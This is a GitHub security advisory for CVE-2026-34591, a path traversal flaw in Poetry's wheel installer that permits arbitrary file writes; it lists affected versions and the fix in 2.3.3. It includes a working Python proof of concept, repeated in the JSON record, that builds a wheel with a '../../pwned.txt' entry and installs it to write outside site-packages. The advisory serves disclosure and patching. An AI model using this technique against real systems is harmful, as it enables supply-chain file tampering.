GHSA-2599-H6XX-HPXP

Vulnerability from github – Published: 2026-04-01 22:17 – Updated: 2026-04-15 20:53
VLAI?
Summary
Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write
Details

Summary

A crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process.

Impact

Arbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.

Patches

Versions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.

Details

Poetry’s wheel destination path is built by directly joining an untrusted wheel entry path:

src/poetry/installation/wheel_installer.py:47 src/poetry/installation/wheel_installer.py:59

The vulnerable sink is reachable in normal installation: src/poetry/installation/executor.py:607

No resolve() + is_relative_to() style guard is enforced before writing.

POC

from pathlib import Path
import tempfile, zipfile, sys
from installer import install
from installer.sources import WheelFile
from poetry.installation.wheel_installer import WheelDestination

root = Path(tempfile.mkdtemp(prefix="poetry-poc-"))
wheel = root / "evil-0.1-py3-none-any.whl"
base = root / "venv" / "lib" / "pythonX" / "site-packages"
for d in [base, root/"venv/scripts", root/"venv/headers", root/"venv/data"]:
    d.mkdir(parents=True, exist_ok=True)

files = {
    "evil/__init__.py": b"",
    "../../pwned.txt": b"owned\n",
    "evil-0.1.dist-info/WHEEL": b"Wheel-Version: 1.0\nRoot-Is-Purelib: true\nTag: py3-none-any\n",
    "evil-0.1.dist-info/METADATA": b"Metadata-Version: 2.1\nName: evil\nVersion: 0.1\n",
}
files["evil-0.1.dist-info/RECORD"] = ("\n".join([f"{k},," for k in files] + ["evil-0.1.dist-info/RECORD,,"])+"\n").encode()

with zipfile.ZipFile(wheel, "w") as z:
    for k,v in files.items(): z.writestr(k,v)

dest = WheelDestination(
    {"purelib":str(base),"platlib":str(base),"scripts":str(root/"venv/scripts"),"headers":str(root/"venv/headers"),"data":str(root/"venv/data")},
    interpreter=sys.executable, script_kind="posix"
)
with WheelFile.open(wheel) as src:
    install(src, dest, {"INSTALLER": b"PoC"})

out = (base / "../../pwned.txt").resolve()
print("outside write:", out.exists(), out)
Severity ?
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.3.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "poetry"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0"
            },
            {
              "fixed": "2.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34591"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T22:17:36Z",
    "nvd_published_at": "2026-04-02T18:16:31Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. \n\n### Impact\nArbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.\n\n### Patches\n\nVersions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.\n\n### Details\nPoetry\u2019s wheel destination path is built by directly joining an untrusted wheel entry path:\n\nsrc/poetry/installation/wheel_installer.py:47\nsrc/poetry/installation/wheel_installer.py:59\n\nThe vulnerable sink is reachable in normal installation:\nsrc/poetry/installation/executor.py:607\n\nNo resolve() + is_relative_to() style guard is enforced before writing.\n\n### POC\n\n```\nfrom pathlib import Path\nimport tempfile, zipfile, sys\nfrom installer import install\nfrom installer.sources import WheelFile\nfrom poetry.installation.wheel_installer import WheelDestination\n\nroot = Path(tempfile.mkdtemp(prefix=\"poetry-poc-\"))\nwheel = root / \"evil-0.1-py3-none-any.whl\"\nbase = root / \"venv\" / \"lib\" / \"pythonX\" / \"site-packages\"\nfor d in [base, root/\"venv/scripts\", root/\"venv/headers\", root/\"venv/data\"]:\n    d.mkdir(parents=True, exist_ok=True)\n\nfiles = {\n    \"evil/__init__.py\": b\"\",\n    \"../../pwned.txt\": b\"owned\\n\",\n    \"evil-0.1.dist-info/WHEEL\": b\"Wheel-Version: 1.0\\nRoot-Is-Purelib: true\\nTag: py3-none-any\\n\",\n    \"evil-0.1.dist-info/METADATA\": b\"Metadata-Version: 2.1\\nName: evil\\nVersion: 0.1\\n\",\n}\nfiles[\"evil-0.1.dist-info/RECORD\"] = (\"\\n\".join([f\"{k},,\" for k in files] + [\"evil-0.1.dist-info/RECORD,,\"])+\"\\n\").encode()\n\nwith zipfile.ZipFile(wheel, \"w\") as z:\n    for k,v in files.items(): z.writestr(k,v)\n\ndest = WheelDestination(\n    {\"purelib\":str(base),\"platlib\":str(base),\"scripts\":str(root/\"venv/scripts\"),\"headers\":str(root/\"venv/headers\"),\"data\":str(root/\"venv/data\")},\n    interpreter=sys.executable, script_kind=\"posix\"\n)\nwith WheelFile.open(wheel) as src:\n    install(src, dest, {\"INSTALLER\": b\"PoC\"})\n\nout = (base / \"../../pwned.txt\").resolve()\nprint(\"outside write:\", out.exists(), out)\n```",
  "id": "GHSA-2599-h6xx-hpxp",
  "modified": "2026-04-15T20:53:26Z",
  "published": "2026-04-01T22:17:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-poetry/poetry/security/advisories/GHSA-2599-h6xx-hpxp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34591"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-poetry/poetry/pull/10792"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-poetry/poetry"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-poetry/poetry/releases/tag/2.3.3"
    },
    {
      "type": "WEB",
      "url": "http://github.com/python-poetry/poetry/commit/ed59537ac3709cfbdbf95d957de801c13872991a"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write"
}


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  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.